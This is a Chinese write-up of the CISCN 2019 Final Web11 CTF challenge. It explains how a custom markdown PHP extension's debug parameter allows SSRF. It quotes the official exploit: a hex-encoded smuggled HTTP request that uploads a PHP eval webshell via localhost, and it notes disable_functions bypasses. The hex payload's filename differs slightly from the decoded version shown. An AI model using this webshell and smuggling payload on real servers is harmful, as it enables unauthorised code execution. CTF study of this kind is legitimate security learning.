CISCN 2019 Final Web11题解

CISCN 2019 Final Web11复盘

题目本身结合了很多知识点,比赛没做出来,这里进行复盘分析。

题目地址:http://web65.buuoj.cn/
题目源码:https://github.com/imagemlt/CISCN_2019_final_pmarkdown.git

简述

题目功能点很清晰:上传md文件、解析md文件为html(通过php拓展)

在Posts目录存在的.htaccess文件,表明md以php解析,不难想思路就是上传md来getshell

AddType application/x-httpd-php .md

但是上传是受到本地限制,也是这道题核心的考点。
image_1dgtncrha8qnb4qjv51vlahbj26.png-120.9kB

思路

在分析post.php时发现函数pmark_include
image_1dgtnif22m4n18851r7irll15r42j.png-22.1kB

它的作用是解析md为html,但在php官方文档并没有找到这个函数,说明是做题人自己编译出来的。在readme.md中同样提示pmarkdown基于pandoc的php解析markdown拓展

当时猜测肯定是这个函数能进行类似于csrf/ssrf的操作,让服务端帮我们上传文件,后续放的提示也证明确实存在一个ssrf的点,只可惜网上基于pandoc的md解析几乎没有php手册。

不过题目给出了编译后的so文件,那么只能分析opcode(垃圾web狗哭了)。

解题步骤

先是逆向so文件。由于是c编译而成,直接拖到ida用f5跟,麻烦pwn师傅教了我一手。下面大致讲一下调用栈,也可能有不对的地方望指正。

看到sub_1850函数发起了本地请求,并且路径为path
image_1dgv2l7tc14839tceud1invijj30.png-124.9kB

追踪哪里调用了sub_1850并且path的值从何获取,最终追到发起requests时会调用的回调函数zm_activate_pmarkdown
image_1dgv3d6mh1e31eao1pk91moij973d.png-28.8kB

进行调用的语句如下,不难发现进行了一个对v16参数的判断
image_1dgv3e7u2gt16cr1et2e8lu553q.png-38.9kB

这里就涉及到知识盲区了,由于不会ida的动态调试,没有确定参数值,这里只能从writeup入手分析条件判断的含义。

官方payload:

data='504f5354202f75706c6f61642e70687020485454502f312e310d0a486f73743a203132372e302e302e313a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031302e31333b2072763a36362e3029204765636b6f2f32303130303130312046697265666f782f36362e300d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380d0a4163636570742d4c616e67756167653a207a682c656e2d55533b713d302e372c656e3b713d302e330d0a526566657265723a20687474703a2f2f3132372e302e302e313a383038302f696e6465782e7068703f6163743d75706c6f61640d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739370d0a436f6e74656e742d4c656e6774683a203234340d0a436f6e6e656374696f6e3a20636c6f73650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c65223b2066696c656e616d653d226c6f676f75742e706870220d0a436f6e74656e742d547970653a20746578742f7068700d0a0d0a3c3f706870200d0a6576616c28245f524551554553545b615d293b0a0d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739372d2d0d0a'.replace('\n','')
data=data.decode('hex')
requests.post(url+'/index.php',data={'debug':"sadfas HTTP/1.1\r\nHOST:localhost\r\nConnection:Keep-Alive\r\n\r\n%s\r\n"%data},timeout=timeout)

这样不难理解判断的核心即是否存在debug参数,并且对v16取了24位地址偏移后的值传入下一层函数,也就是之前要最终的形参path。

在payload中的形式,相当于传递了两个http包,拼接后如下

POST whatever HTTP/1.1
Host: localhost
Connection: Keep-Alive

POST /upload.php HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Referer: http://127.0.0.1:8080/index.php?act=upload
Content-Type: multipart/form-data; boundary=---------------------------6693638881479522630623693797
Content-Length: 244
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------6693638881479522630623693797
Content-Disposition: form-data; name="file"; filename="shell"
Content-Type: text/php

<?php 
eval($_REQUEST[a]);

-----------------------------6693638881479522630623693797--

此时就可以把两个http包带入之前的path,构造一个完整的http包请求。而服务端在发送http请求时,会对请求包逐一发送。即先请求了whatever,建立http连接,connection:keep-alive 保持http的连接不被中断。

第二次请求data.decode(‘hex’),让server帮我们请求Upload并上传md文件从而getshell

后续

传了md就能解析php来getshell,只不过是要饶一个disable_function,预期解使用ld_preload去改变环境变量来bypass。不过有师傅提醒df过滤不全用popen也可以执行命令。

逆向功底太差了,有机会可以去抓个包分析一下debug参数的请求流程,最后膜出题师傅的知识渊博

not found!